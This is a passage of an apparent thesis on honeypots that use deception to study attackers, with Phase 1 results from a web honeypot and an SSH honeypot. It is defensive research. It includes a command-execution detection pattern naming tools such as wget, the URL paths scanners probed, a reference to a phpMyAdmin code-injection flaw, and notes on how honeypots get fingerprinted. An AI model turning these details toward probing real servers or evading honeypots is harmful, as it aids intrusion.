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ABSTRACT 
 Honeypots can detect new attacks and vulnerabilities like zero-day exploits, based 
on an attacker’s behavior. Existing honeypots, however, are typically passive in nature 
and poor at detecting new and complex attacks like those carried out by state-sponsored 
actors. Deception is a commonly used tactic in conventional military operations, but it is 
rarely used in cyberspace. In this thesis, we implemented “active honeypots,” which 
incorporate deception into honeypot responses. In five phases of testing, we incorporated 
deception techniques such as fake files, defensive camouflage, delays, and false excuses 
into a Web honeypot built with SNARE and TANNER software, and an SSH honeypot 
built with Cowrie software. 
 Our experiments sought to investigate how cyberattackers respond to the 
deception techniques. Our results showed that most attackers performed only 
vulnerability scanning and fingerprinting of our honeypots. Some appeared to be 
performing horizontal scanning, accessing both honeypots in the same phase. We found 
that the attackers were primarily non-interactive and did not respond to customized 
deception. We also observed that attackers who established a non-interactive session 
might be unable to exit the session without external intervention. Thus, we can delay to 
penalize these attackers. We also discovered that some attackers used unusual means of 
transferring files to the SSH server, and we recommend exploring how deception can be 
used against such techniques. 
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I. INTRODUCTION 
All warfare is based on deception. 
 
—Chinese strategist Sun Tzu, 
author of The Art of War 
 
A honeypot is defined as “an information system resource whose value lies in 
unauthorized or illicit use of that resource” [1]. Unlike other forms of cyber defense 
mechanisms that focus on denying access by threats, the value of honeypots lies in 
attracting threats to use them. Without interaction from cyber attackers, honeypots have 
little value.  
Deception is an important idea in implementing honeypots, as they are most 
effective in engaging the attacker and collecting information if they can make the attacker 
believe they are real systems [2]. Besides effectively concealing its nature, a honeypot 
should also sustain the interest of the attackers to continue their interaction so that attack 
tactics and techniques can be uncovered from these interactions.  
A. OBJECTIVES 
The objective of this thesis is to design, develop, and validate active honeypots 
that can employ a suite of deception techniques to respond to cyber attackers attempting 
to exploit them. The hypothesis is that deception techniques can better fool attackers into 
believing that the honeypot is a real computer system with vulnerabilities that can be 
exploited. Using deception techniques, we also hope to discover how the behavior of 
cyber attackers changes when they encounter obstacles. The information gathered can 
then be used to develop signatures for intrusion-detection and intrusion-prevention 
systems (IDPS), and deception techniques developed can be applied also on production 
systems to trick attackers into believing that they are honeypots that should be avoided.  
2 
B. RELEVANCE TO MILITARY DEFENSE 
According to Ferdinando [3], “the vast global networks of the Defense 
Department are under constant attack, with the sophistication of the cyber assaults 
increasing. … The Department needs agile systems for the warfighter to stay ahead of an 
adversary that is evolving and moving.” Given the threat level faced by the United States 
Department of Defense, commercial products alone are insufficient to protect its 
computer networks. An innovative solution like honeypots is required to defend its 
networks against both state and non-state actors attempting to attack the networks. 
The concept of deception is not new to the military and has been used extensively 
in many wars and battles to gain an advantage over the enemy by surprising them. The 
application of this concept to cyber defense, however, has been limited. Our research 
aims to incorporate deception techniques into cyber defense to gain early warnings of 
attack techniques and decrease the chances of a successful attack on a computer network. 
This research will present a multi-layered cyber defense against potential attacks by 
providing new capabilities to augment existing defense mechanisms.  
C. THESIS ORGANIZATION 
Chapter II briefly covers the background of honeypots, deception, and related 
work in these areas. It also provides a literature review of past honeypot projects. Chapter 
III defines the problems and lists the assumptions that we have made in the paper. 
Chapter IV discusses the design of our honeypot setup; its design considerations and 
objectives; and observations made regarding the data collected. Chapter V presents the 
adjustments made to the honeypots based on observations made during data collection, as 
well as further experiments incorporating additional deception techniques. It also 
summarizes the results. Chapter VI summarizes the research project and proposes 




A study by the University of Maryland's A. James Clark School of Engineering 
revealed that hacker attacks of computers with Internet access occur at an alarming rate 
of about once every 39 seconds [4]. Over the past decade, cyber attackers have continued 
to develop better tools and techniques that enable them to penetrate more complex 
systems and cause increased damage. With the increase in sophisticated attack methods, 
the need for an effective attack identification and defense mechanism becomes 
increasingly important.  
A. HONEYPOTS  
Honeypots are set up specifically to expend cyber-attacker resources [5] while 
simultaneously allowing defenders to gather information such as motives, techniques, and 
tactics about the attackers [6]. Honeypots can also confuse attackers when they provide 
unexpected responses to the attackers’ commands. After attackers gain access, honeypots 
can log the commands that the attackers attempt to execute on a system. Cybersecurity 
personnel can then study the logs to learn how the attackers gained access and how they 
tried to exploit the system. Countermeasures can then be developed to improve the 
protection of networks [7]. 
Honeypots can be classified into two main categories: research and production. 
Research honeypots gather intelligence about attack tactics by extensively logging 
information about connection attempts. This information can assist cybersecurity 
personnel in patching vulnerabilities in their systems, updating the signatures in their 
intrusion-prevention systems, or developing countermeasures against similar attacks. 
Production honeypots, on the other hand, imitate specific real services in an organization 
and serve as decoys helping to protect the organization. 
Honeypots can be further categorized by the interaction level they provide to 
users. Low-interaction honeypots are simple network emulation tools offering limited 
service emulation [8]. When deployed within a network, they wait for incoming 
connections to record the initial steps of the connection attempt. Medium-interaction 
4 
honeypots allow more interactive activities such as uploading of files and manipulation of 
the file system. High-interaction honeypots are full, real systems and services used 
primarily to deceive and collect data about attack methods. Being real systems, high-
interaction honeypots can fall under the control of attackers if they are successfully 
exploited. Thus, more care and effort are required to set up, maintain, and monitor these 
honeypots to ensure that attackers do not gain control of them.  
B. DECEPTION IN CYBER DOMAIN 
In [9], there are several chapters discussing deception techniques that can be 
applied in the cyber domain. These techniques could enhance honeypots to attract cyber-
attackers while effectively concealing their identities as honeypots. 
1. Defensive Camouflage 
A honeypot must effectively hide its identity to be able to deceive attackers that it 
is a genuine system. Cyber attackers typically fingerprint their target system to determine 
the vulnerabilities that can be exploited as well as if the target system is a honeypot. One 
example discussed in [10] describes how the Honeyd honeypot can be remotely 
fingerprinted by an attacker using the measured link latency of the network links 
emulated by it. Just as operating systems must have their vulnerabilities patched, a 
honeypot must have its signatures patched so that it cannot be easily identified as a 
honeypot.   
2. Delays 
Delays imposed upon an attacker are useful in providing time for analysis or 
investigation of suspicious activities [11]. As all cyber systems can occasionally 
encounter unexplained delays, attackers may not be suspicious of delayed responses to 
their commands. Delays can make it appear as if a system lacks processing ability, or a 
slow file transfer could make it appear that the system lacks network bandwidth. The 
delay can provide time to perform checks on files transferred onto the system.  
For example, a network “tarpit” can use Transmission Control Protocol (TCP) 
flow-control mechanisms [12] to slow down attackers by holding their connections open, 
5 
while disallowing them from transferring data. This is achieved by the tarpit responding 
to a TCP SYN packet with a SYN/ACK and a small initial value for the 16-bit window 
field in the TCP header. It then locks the attacker in a fully established TCP connection 
by replying to incoming packets with a window size of zero, preventing the attacker from 
transmitting data to it. The tarpit further delays the attacker by ignoring the FIN packets 
when the attacker terminates the TCP connection and the attacker’s socket resources are 
consumed to keep the connection state until the FIN-WAIT duration expires. The attacker 
is unable to carry out any useful actions during the connection and his resources are 
wasted. 
A honeypot can also employ the delay technique by pretending to do a very slow 
file transfer while checking for viruses and malware. This will help the honeypot decide 
how to deceive next.  
3. Fakes 
Many honeypot tools are generic enough to allow them to be deployed on many 
networks. Running a honeypot without making changes to its default configuration could 
make it easy to recognize by attackers. Putting fake objects in the honeypot can help 
improve its credibility as a legitimate system. Fakes can be used in the file system and the 
files. Fake files can be used as a bait to attract attackers who are looking for personal or 
corporate data. Fake files can also be substituted for files downloaded by the attackers to 
provide unexpected outcomes when the attackers try to execute them. 
Another use for fakes is to make attackers paranoid. By creating files bearing the 
names of the user name of the login session, you could trick attackers into believing that 
their actions are being logged. This may encourage the attackers to try to cover their 
tracks and reveal more of their tactics and techniques. 
4. False Excuses 
Excuses in the form of error messages can be used by systems in response to 
commands that they cannot execute. As excuses can often be confusing or misleading, 
honeypots can use false excuses to prevent attackers from gaining access to certain 
6 
resources or completing certain actions. Ambiguous or confusing excuses will encourage 
attackers to waste time overcoming their perceived error. 
C. PREVIOUS WORK WITH HONEYPOT DECEPTION 
There have been several attempts to use deception to improve the effectiveness of 
honeypots. For example, [2] improved the Glastopf honeypot with a content-management 
system to produce dynamic Web pages to simulate real Web pages. This decreased the 
likelihood of attackers noticing it was a honeypot. A random delay to responses of a Web 
portal [13] made it appear that the input from the attacker was slowing down the site. 
Honeypots help in network security to catch network intruders by studying their 
techniques of gaining footholds on systems [14]. Several HTTP and SSH [15] honeypot 
tools can be used. Web application honeypots that are available include HIHAT [16], 
DShield Web Honeypot Project [17], the Google Hack Honeypot [18], and Glastopf [19]. 
Glastopf is an open-source HTTP tool that can perform vulnerability-type emulation. As 
a Web server, it advertises itself with multiple attack surfaces to attract attackers. 
Glastopf performs classification and handles each incoming attack with a response based 
on the attackers’ attempted exploits on the Web applications and gives them the expected 
results. Figure 1 shows the general functionality of Glastopf. 




The work [19] mentioned that many attackers use a file called ‘id’ to check the 
vulnerability of the victim’s system to exploitation. The attacker performs some 
commands to retrieve the victim’s system information. A honeypot can return a response 
that will encourage the attacker to attack the system further. A vulnerability emulator in 
Glastopf will generate responses based on vulnerability type (e.g., remote-file inclusion, 
local-file inclusion, or SQL injection) rather than acknowledging the actual system 
vulnerabilities to convince the attacker that the system is vulnerable [2]. As the Web-page 
template is simple and static in nature, the attacker can easily suspect that it is a 
honeypot, so there is a need to improve its camouflage.  
Glastopf was succeeded by SNARE [20], which has many of the same features as 
Glastopf as well as the ability to convert existing Web pages into attack surfaces with 
TANNER [20]. SNARE is an abbreviation for Super Next generation Advanced Reactive 
HonEypot. Every event sent from SNARE to TANNER is evaluated, and TANNER 
decides how SNARE should respond to the client. This allows the honeypot to produce 
dynamic responses, which improve its camouflage.  
Kippo [21] is a pioneer SSH honeypot. It is a medium-interaction honeypot that 
emulates SSH services and logs attacks and attacker commands. Yet, Kippo is not being 
maintained, and Cowrie [22] has replaced it. Cowrie has several additional functionalities 
including SFTP and SCP support for file upload, support for SSH exec commands, 
logging of direct-TCP connection attempts, ability to forward SMTP connections to 
SMTP honeypots, logging in JSON format, and shell commands that return a better 
response to the attacker. Betts [23] ran Cowrie for seven days and found that many 
automated login attempts used tools or botnets, as shown by passwords that were being 
tried day after day. A composite blocking-list lookup on one of the attacker’s IP 
addresses also showed that it had been infected with a spam-sending Trojan, a malicious 
link, or some form of botnet and had been attempting to break into other sites with brute-
force password guessing. 
The work [24] attempted to find out what cyber attackers do once they gain access 
to a server by deliberating disclosing apparently sensitive login information such as the 
private SSH key of their Cowrie SSH honeypot. After two weeks of running the 
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honeypot, however, they were unable to find any attackers using the disclosed SSH key 
to access the Cowrie honeypot. In their first phase where username-password 
authentication was implemented on Cowrie, attackers had few successes as they mainly 
relied on brute force attack. After two weeks, they concluded that their attackers typically 
transferred binary files from the attackers’ servers to the honeypot, tried to install hacking 
tools, ran scripts to fingerprint the honeypot, and covered their tracks. 
The work [25] studied whether the inclusion of realistic files and folder structures 
affected the attackers’ behavior. They found that bots and humans reacted differently to 
the files and folders. Most of the attackers, which are bots, had little interest in finding 
and exfiltrating the files. Human attackers, on the other hand, although just a mere 14%, 
do inspect and interact with the files and folders. 
9 
III. PROBLEM DEFINITION AND ASSUMPTIONS 
Honeypots are typically passive in nature and are poor at detecting new and 
complex attacks such as those carried out by state-sponsored actors. In addition, attackers 
can easily detect and avoid honeypots through their signatures if no deception techniques 
are implemented on the honeypots. For honeypots to be effective, we can implement 
active honeypots that use deception to cleverly respond to attackers and trick them into 
believing that the honeypots are real systems that are vulnerable to their attack and can be 
compromised so that the attacker has complete control over the system.  
For our study, we studied implementations of an SSH honeypot and a Web 
honeypot. We assumed that traffic to the honeypots would mainly be bots (automated 
attackers) and script kiddies (amateur human attackers). Both are likely to execute 
templated commands on the honeypots to attempt to fingerprint the system and 
eventually to control it. Sophisticated commands entered into the honeypot would likely 
be an experienced cyber attacker attempting to compromise and gain control of the 
system.  
This thesis aims to determine if the application of deception techniques to 
honeypots improves their ability to better engage cyber attackers and lead them into 
revealing their attack tactics and techniques. In addition, by running a Web honeypot and 
an SSH honeypot in parallel on the same host, we sought to determine if cyber attackers 
use different vectors in their attempts to attack the same host. 
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A. TOOL SETS 
In this chapter, we will describe the honeypot tools that we have chosen and 
implemented. We chose SNARE and TANNER as our Web application honeypots and 
Cowrie as our SSH honeypot. This thesis explores the effectiveness of the different 
deception techniques that we deployed on them. We first recorded attacks on the 
honeypots with no deception techniques deployed and used this as our baseline. 
Subsequently, we implemented various deception techniques.  
B. SNARE AND TANNER 
SNARE generates vulnerabilities in Web-application servers that an unauthorized 
user can access and possibly exploit. Each of these vulnerabilities is known as an “attack 
surface” [20]. TANNER analyzes and classifies the attacks received from SNARE, 
evaluates them, and responds based on configured rules [20]. TANNER can classify 
attacks based on their signatures as LFI (Local File Injection), RFI (Remote File 
Injection), XSS (Cross-site Scripting), CMD_EXEC (Command Execution) and SQLI 
(Structured Query Language Injection).  
When fingerprinted by attackers, SNARE shows that it is an Nginx [26] Web 
application server. It requires Web contents to serve as a website. It comes with a Python 
program clone.py that allows the cloning of a website. We chose the Monterey Navy 
Flying Club and cloned its full website.  
TANNER uses Redis [27] as its database server to store the external Web traffic 
retrieved by SNARE. Redis is open-source software and uses in-memory data structures 
to store its database. TANNER can be additionally configured to store its data in JSON 
(JavaScript Object Notation) format into MongoDB. MongoDB is open-source software, 
and its data is stored as a collection of JSON documents instead of tables and rows as in a 
traditional database. The commands used to install SNARE and TANNER are detailed in 
Appendix A and B. 
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C. COWRIE 
Cowrie is an SSH honeypot based on the Kippo honeypot [22]. It uses a virtual 
filesystem to simulate the Debian 5.0 operating system. Its SSH server was configured as 
“SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u2.” To make the attackers believe that 
Cowrie and SNARE were residing on the same server, we configured the hostname of the 
SSH server to be NginxWeb and added the Nginx default index page to the virtual 
filesystem. The message of the day for the SSH server was changed so that a security 
warning is displayed to users who log into the SSH server interactively. The commands 
used to install Cowrie are detailed in Appendix C. 
Cowrie simulates execution of more than a dozen common Linux commands such 
as help, ls, and wget. These commands provide basic camouflage for the honeypot. If 
attackers transfer and execute a file within Cowrie, it will first store the file into a default 
download folder named “dl” in the virtual machine for later inspection. The “dl” folder is 
not accessible by the attackers as it is outside of the Cowrie application; this helps to 
prevent malicious code from being executed. It will also create a fake file with the same 
name as the transferred file in Cowrie and replace the file transferred by the attackers 
with the fake file so that the attackers can still see that a file has been transferred and be 
encouraged to continue their attacks.  
Cowrie logs the attackers’ actions in both MySQL [28] and log files. It  has a 
user-friendly Web interface called Kippo-Graph [29] to display the information in 
graphical form. 
D. DATA ANALYSIS  
1. Kippo-Graph 
Kippo-Graph is a visualization tool originally developed for the Kippo SSH 
honeypot and has since been adapted to work with Cowrie. Kippo-Graph displays the 




Table 1. Statistics from the Kippo-Graph Web interface. 
No Activities Descriptions 
1 Total login attempts The total number of attempts made to Cowrie 
2 Distinct source IP addresses The number of unique IP addresses that 
accessed Cowrie 
3 Active time period The start time and end time of attacks made to 
Cowrie 
4 Top 10 passwords The top 10 passwords that attackers use when 
accessing Cowrie 
5 Top 10 usernames The top 10 usernames that attackers used when 
accessing Cowrie 
6 Top 10 user-pass combos The top 10 username and passwords that 
attackers used when accessing Cowrie 
7 Success ratio The percentage of successful logins into 
Cowrie 
8 Successes per day The number of successful logins into Cowrie 
per day 
9 Connection per IP address The number of connections made by the top 10 
IP addresses 
10 Top 20 successful logins from 
the same IP address  
The number of successful logins by the top 20 
IP addresses 
11 Top 20 probes per day The top 20 number of probes per day 
12 Top 10 SSH clients The top 10 SSH clients that the attackers used 
when accessing Cowrie 
13 Total number of commands The total number of commands made to 
Cowrie 
14 Total number of distinct 
commands 
The total number of distinct commands made 
to Cowrie 
15 Total number of downloads The total number of downloads that the 
attackers made in Cowrie 
16 Total number of distinct 
downloads 
The total number of distinct downloads that the 
attackers made in Cowrie 
17 Top 20 human activity per 
day 
The top 20 number of commands made to 
Cowrie per day 
18 Top 10 input (successful and 
failed) 
The top 10 inputs (successful and failed) 
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No Activities Descriptions 
19 wget commands The wget commands that the attackers made in 
Cowrie 
20 Executed scripts The executed commands made in Cowrie 
 
Kippo-Graph has a log-display page where inputs from attackers and responses 
from Cowrie are shown for a quick view of an attacker’s session. The original Kippo-
Graph could only play logs stored in the database and not the inputs to Cowrie when 
attackers did not log in through an interactive shell. We have modified the code so that it 
could play all the logs made to Cowrie regardless of the attacker’s access method. We 
also added code to capture the duration of login sessions, the number of inputs entered 
into Cowrie during a session, and the average inputs per second. We computed MD5 
hashes of the inputs so that we can easily identify identical inputs. The modified code is 
detailed in Appendix D. 
Kippo-Graph with Maxmind [30] also provides a pie-chart visualization of the ten 
most common IP addresses and their geolocation. An intensity map with different shades 
of color that give the volume of attacks per country shows where the attacks are coming 
from. The commands used to install Kippo-Graph are detailed in Appendix E. 
2. SNARE 
SNARE provides a basic Web interface that displays the number of attack 
sessions, total duration, and the frequency of types of attacks. SNARE also provides 
further information such as IPs, ports, user agents, start and end times, paths, and attack 
types on each individual session. As we ran both Cowrie and SNARE on the server, we 
wanted to check if any attackers accessed both. We modified the Kippo-Graph code to 
also display the IP addresses that accessed both Cowrie and SNARE. The modified code 
is shown in Appendix D. 
We felt that the Kippo-Graph Web interface was easier for data analysis, so we 
modified Kippo-Graph to display SNARE information in graphical form, which we 
called “SNARE-Graph.” SNARE-Graph displays the information listed in Table 2. 
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Besides SNARE-GRAPH, we also created a Web interface similar to the Kippo-Graph 
play log that displays the IP addresses, start and end times, the duration of sessions, paths 
accessed by the attackers, the type of attacks perceived by SNARE, and the user agents of 
the attackers. The code is given in Appendix D. 
Table 2. Statistics from the SNARE-Graph Web interface. 
No Activities Descriptions 
1 Total sessions The total number of attempts made to SNARE 
2 Distinct source IP addresses The number of unique IP addresses that accessed 
SNARE 
3 Active time period The start date and time and the end date and time 
of attacks made to SNARE 
4 Connection per IP address The number of connections made by the top 10 
IP addresses 
5 Top 10 paths  The top 10 most common paths accessed by the 
attackers 
6 Top 10 user agents The top 10 most common user agents that the 
attackers used when accessing Cowrie 
7 Attack types The type of attacks used by the attackers 
 
E. SETUP 
We used an Internet line provided by NPS that is outside NPS’s firewall and 
allowed users from outside to scan our honeypots. The SNARE and Cowrie honeypots 
were on a virtual machine running on a static IP address bridged from the host machine. 
The host machine also had a static IP address, and the two static addresses were 
connected to the Internet line.  
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We ran TANNER and the database servers for the SNARE and Cowrie honeypots 
on another virtual machine. This virtual machine was not connected to the Internet to 
allow us to mitigate and control the extent of damage should the Internet-facing virtual 
machine get compromised. The data analysis was performed on a virtual machine 
running the administrative Web interfaces, and thru the interfaces, we could review the 
data collected by the SNARE, TANNER and the Cowrie honeypots. Figure 2 shows the 
network architecture of our implementation. 
Figure 2. Network architecture for experimental honeypots. 
 
 
F. MACHINE INFORMATION 
The host machine was a Dell workstation, and three virtual machines were 
deployed on the host machine. Details are provided in Table 3.  
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Table 3. Machine specifications for experimental honeypots. 
Host Machine 
Processor Intel Core i7-6700 CPU @ 3.40 GHz 
Memory 16.0 GB 
Storage 1 TB 
Operating System Windows 10 
IP Address X.X.X.A (External) 
192.168.194.1 (VMnet 1) 
SNARE and Cowrie Virtual Machine 
Processor 1 Single Core Virtual Processor 
Memory 4 GB 
Storage 20 GB 
Operating System Ubuntu 16.04.3 
IP Address X.X.X.B (External) 
*.128 (To connect to Host Machine and TANNER and Database Virtual Machine) 
Protocol and Port TCP 22 (Cowrie) 
TCP 80 (SNARE) 
TANNER and Database Virtual Machine 
Processor 1 Single Core Virtual Processor 
Memory 4 GB 
Storage 20 GB 
Operating System Ubuntu 16.04.3 
IP Address X.X.X.C (Only enabled when performing software update) 
*.129 (To connect to Host Machine and SNARE and Cowrie Virtual Machine) 
Protocol and Port TCP 3306 (MySQL) 
TCP 6379 (Redis) 
TCP 8090 (TANNER Core Application) 
TCP 27017 (MongoDB) 
Data Analysis Virtual Machine 
Processor 1 Single Core Virtual Processor 
Memory 4 GB 
Storage 20 GB 
Operating System Ubuntu 16.04.3 
IP Address N.A 
Protocol and Port TCP 80 (PHP web interface to display Cowrie and SNARE traffic information) 
TCP 3306 (MySQL) 
TCP 6379 (Redis) 
TCP 27017 (MongoDB) 
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G. BACKUP AND RESTORE SCRIPTS 
To facilitate data analysis through the phases, we wrote a backup and a restore 
script. Once a phase concluded, we ran the script to back up the Cowrie MySQL 
database, logs, transferred files, and the SNARE Mongo and Redis databases and copy 
this information onto the data-analysis virtual machine. This script clears the previously 




V. EXPERIMENTS AND ANALYSIS OF RESULTS 
This chapter reports results from the Web Honeypot and the SSH Honeypot used 
for experiments. It highlights observations about changes to attackers’ behavior in 
response to the deception techniques implemented on the honeypots. Data was collected 
in two phases. In Phase 1, the Web Honeypot (SNARE and TANNER) and the SSH 
Honeypot (Cowrie) were deployed with minimal changes and configuration. In Phase 2, 
deception techniques were employed. To collect a usable sample size while maintaining 
novelty of the deception technique, the experiments were run for two weeks each time. 
Table 4 details the timeline for implementation of deception techniques for the honeypots 
and the data collection. 
Table 4. Implementation of deception techniques and data collection 
timeline. 
Time Period Information 
Phase 1 – Unmodified Honeypots (Data Collection:  February 15, 2018 to February 28, 2018) 
Feb 15, 2018 @ 1505hrs Started SNARE and Cowrie honeypots. 
Ready to accept connection.  
Feb 15, 2018 @ 1527hrs Cowrie received the first attack. 
Feb 16, 2018 @ 0450hrs SNARE received the first attack. 
Feb 28, 2018 @ 1105hrs SNARE received the last attack. 
Feb 28, 2018 @ 1119hrs Cowrie received the last attack. 
Feb 28, 2018 @ 1119hrs Stopped SNARE and Cowrie honeypots to collect logs and database 
data. 
Phase 2A – Fake Files and Defensive Camouflage (Data Collection: May 15, 2018 to May 29, 2018) 
Mar 1, 2018 to May 14, 
2018 
Submitted SNARE website link to Google index. 
Implementation of fake-files deception in SNARE. 
Implementation of defensive camouflage deception in Cowrie.  
May 15, 2018 @ 1356hrs Started SNARE and Cowrie honeypots.  
Ready to accept connection. 
May 15, 2018 @ 1357hrs Cowrie received the first attack. 
May 15, 2018 @ 1435hrs SNARE received the first attack. 
May 29, 2018 @ 1140hrs SNARE received the last attack. 
May 29, 2018 @ 1427hrs Cowrie received the last attack. 
May 29, 2018 @ 1427hrs Stopped SNARE and Cowrie honeypots to collect logs and database 
data. 
Phase 2B – Delay (Data Collection: June 11, 2018 to July 10, 2018) 
May 30, 2018 to Jun 10, 
2018 
Implementation of delay deception in Cowrie.  
Jun 11, 2018 @ 1217hrs Started Cowrie honeypot. 
Ready to accept connection. 
Jun 11, 2018 @ 1219hrs Cowrie received the first attack. 
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Time Period Information 
Jun 13, 2018 @ 1807hrs Cowrie received the last attack. 
Jun 13, 2018 @ 1807hrs Cowrie honeypot stopped when host machine restarted. 
Jun 16, 2018 @ 2029hrs Started Cowrie honeypot. 
Ready to accept connection. 
Jun 16, 2018 @ 2036hrs Cowrie received the first attack. 
Jul 10, 2018 @ 1133hrs Cowrie received the last attack. 
Jul 10, 2018 @ 1133hrs Stopped Cowrie honeypot to collect logs and database data. 
Phase 2C – False Excuses (Data Collection: July 16, 2018 to August 01, 2018 
Jul 11, 2018 to Jul 15, 2018 Implementation of false-excuses deception in Cowrie.  
Jul 16, 2018 @ 1527hrs Started Cowrie honeypot. 
Ready to accept connection. 
Jul 16, 2018 @ 1529hrs Cowrie received the first attack. 
Aug 01, 2018 @ 1451hrs Cowrie received the last attack. 
Aug 01, 2018 @ 1451hrs Stopped Cowrie honeypot to collect logs and database data. 
Phase 2D – Modified Delay and False Excuses (Data Collection: Aug 02, 2018 to August 27, 2018 
Aug 02, 2018 to Aug 14, 
2018 
Implementation of false-excuses deception in Cowrie.  
Aug 15, 2018 @ 2235hrs Started Cowrie honeypot. 
Ready to accept connection. 
Aug 15, 2018 @ 2238hrs Cowrie received the first attack. 
Aug 27, 2018 @ 2238hrs Cowrie received the last attack. 
Aug 27, 2018 @ 2238hrs Stopped Cowrie honeypot to collect logs and database data. 
 
A. PHASE 1—UNMODIFIED HONEYPOTS 
In this phase, we implemented the SNARE and Cowrie honeypots to appear to be 
running on the same server. We wanted to see if the attackers would input commands in 
Cowrie to modify the Web contents of SNARE if they happened to notice both. As 
SNARE would be fingerprinted by the attackers as an, Nginx server, we modified the 
Cowrie hostname to NginxWeb and created a user Nginx and a default Nginx index file 
in the Cowrie fake filesystem. To make it more believable, we also modified the 
“service” command in Cowrie so that the attacker would see “Nginx” as a running 
service. 
1. Default Configurations 
a. SNARE and TANNER 
Not many configurations can be changed in SNARE and TANNER. Nonetheless, 
the emulators (SQLI, RFI, LFI, XSS and CMD_EXEC) that are in in TANNER are more 
configurable, and we configured them to record the attack type. The emulators use pre-
21 
coded pattern matching algorithms to determine if the paths that the attackers are 
accessing match the attack types configured in TANNER. If so, TANNER will record it 
as an attack. The Web pages in SNARE are static HTML pages, and no content such as 
forms or login pages requires attacker interaction. We configured SNARE to run on port 
80 since that is the most common port for a Web server. 
b. Cowrie 
Cowrie has a configuration page that allows users to make changes to the default 
configuration. Table 5 displays the configuration items that we used. 
Table 5. Cowrie default and Phase 1 settings. 
No Configuration Description Default Phase 1 
1 Hostname The hostname for 
Cowrie which 
will be displayed 
by the Cowrie 









being idle.  
180  180 
3 Auth_Class This can be 
UserDB which 





to log in after 2, 
5, or 10 attempts. 
UserDB UserDB 









5 Listen_endpoints The port and 
interface on 
which Cowrie 






No Configuration Description Default Phase 1 
for incoming SSH 
connections. 
6 Output_mysql The MySQL 
logging module, 
which is disabled 
by default. 
Host =  
localhost 
Database = Cowrie 
Username = 
Cowrie 
Password = Secret 
Port = 3306 
Host = *.129 
Database = Cowrie 
Username = 
Cowrie 
Password = Cowrie 
Port = 3306 
2. Observations—Cowrie and SNARE 
a. IP Addresses that Accessed Both SNARE and Cowrie 
We observed that out of the 584 distinct IP addresses that accessed Cowrie and 
the 77 distinct IP addresses that accessed SNARE, only five IP addresses accessed both 
honeypots (Figure 3, generated by SNARE-Graph). 





IP address A: This attacker accessed both Cowrie and SNARE once on February 23, 
2018 @ 20:56:54 and February 18, 2018 @ 01:02:45 respectively. They only did a scan 
and did not proceed to log in to Cowrie. They accessed only the root directory on 
SNARE and did no further actions. 
IP address B: This attacker accessed both Cowrie and SNARE once on February 17, 2018 
@ 09:34:18 and February 17, 2018 @ 09:02:12 respectively. They only did a scan and 
did not proceed to log in to Cowrie. They accessed /hndUnblock.cgi, tmUnblock.cgi, 
/moo, the root directory, and /getcfg.php on SNARE. 
IP address C: This attacker accessed both Cowrie and SNARE once on February 24, 2018 
@ 21:42:21 and on February 24, 2018 @ 09:02:13 respectively. They only did a scan and 
did not proceed to log in to Cowrie. They accessed /hndUnblock.cgi, tmUnblock.cgi, 
/moo, the root directory, and /getcfg.php on SNARE. 
IP address D: This attacker accessed both Cowrie and SNARE once on February 20, 
2018 @ 05:22:26 and on February 20, 2018 @ 08:02:30 respectively. They only did a 
scan and did not proceed to log in to Cowrie. They accessed only the root directory on 
SNARE and did no further actions. 
IP address E: This attacker accessed both Cowrie and SNARE once on February 24, 2018 
@ 06:35:14 and on February 16, 2018 @ 04:02:56 respectively. They only did a scan and 
did not proceed to log in to Cowrie. They accessed only the root directory on SNARE 
and did no further actions.  
From these results, we concluded that attackers are not scanning the IP address on 
port 22 and 80 at the same time. Also, the attackers (B and C) from Brazil may have 
switched their IP address or they may have two bots, as the modus operandi of the two 
scans on SNARE is the same.  
3. Observations—SNARE 
a. Overall Activities 
A total of 384 sessions were captured in Phase 1 from 75 distinct IP addresses. 
SNARE was first accessed after 14 hours of deployment and last accessed 14 minutes 
before stopping the experiment. It took quite a long period of time for attackers to start 
accessing the Web honeypot. The peak of the traffic was on February 23, 2018 when 
there were 73 sessions (Figure 4, generated by SNARE-Graph). The minimum number of 
probes per day was on February 24, 2018 when there were only two probes on that day.  
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Figure 4. Phase 1 SNARE—Most probes per day. 
 
 
As shown in Figure 5, which was generated by SNARE-Graph, 28% of the 
attackers came from the United States as reported by MaxMind, where one IP address A 
comprised 20%. IP address B from Malta had the second highest percentage. We checked 
the two IP addresses in AbuseIPDB [31], a central repository for IP addresses associated 
with malicious activities, and found that IP address A has been reported 55 times and IP 
address B has been reported 3 times. 
Figure 5. Phase 1 SNARE—Top 10 number of connections per unique 
IP pie chart. 
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b. Types of Activity 
Of the 384 sessions, 92 or about 24% accessed the default root directory of the 
Web application server, which is normal if the attacker is just performing an IP Web 
scan. The other 76% were mainly sessions accessing setup.php and index.php of 
phpMyAdmin pages [32]. We also observed that apart from attackers accessing the 
default index page at the root directory, no sessions accessed the Web contents that we 
put on the server. The top 10 paths that the attackers accessed are displayed in Figure 6. 
Figure 6. Top 10 paths that the attackers requested. 
 
 
From the top ten paths, we observed that attackers were trying to check if the 
setup.php page for phpmyadmin, mysql, and the database are available on the server. The 
setup.php from phpMyAdmin is known to be prone to remote PHP code-injection 
vulnerability [33]. 
c. User Agents 
Most attackers used Mozilla 5.0 for their user agents, and some used vulnerability 
scanners such as ZmEu [34], which targets Web servers that are running unpatched 
phpMyAdmin programs. Attackers also use ZmEu to brute-force the username and password 
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of SSH servers [34]. In our experiment, however, none of the ZmEu attackers scanned our 
Cowrie honeypot. The top 10 user agents used by the attackers are shown in Figure 7. 
Figure 7. Top 10 user agents used by the attackers. 
 
 
d. Attack Types and Session Durations 
In Phase 1, there were seven recorded attacks, and all accessed paths matched the 
CMD_EXEC pattern of “.*(alias |cat |cd |cp |echo |exec |find |for |grep |ifconfig |ls |man 
|mkdir |netstat |ping |ps |pwd |uname |wget |touch |while).*”. This CMD_EXEC pattern 
consists of individual commands separated by the delimiter “|”. An example of an attack 
that would be picked up by the CMD_EXEC pattern is “mkdir test directory” where the 
command “mkdir” matches the pattern. Yet, we confirmed that all seven CMD_EXEC 
attacks observed were false positives as they were not in the list of executed commands 
listed above in the CMD_EXEC pattern. One of the CMD_EXEC attacks logged was 
“command.php” and we considered it a false positive as it matches the “man” command 
but it is not a “man” command. We also observed that all the sessions, even for those that 
accessed more than 10 paths, started and ended within a second. This suggests that all 
these activities are performed by an automated process since a human could not click 10 




In Phase 1, 19,564 sessions originated from 584 distinct IP addresses. Cowrie was 
first accessed by attackers 22 minutes after it was run and continued to be accessed up to 
the point when the honeypot was shut down. The peak traffic was on February 28, 2018 
with 2,737 probes (Figure 8 generated by Kippo-Graph). The minimum probes per day 
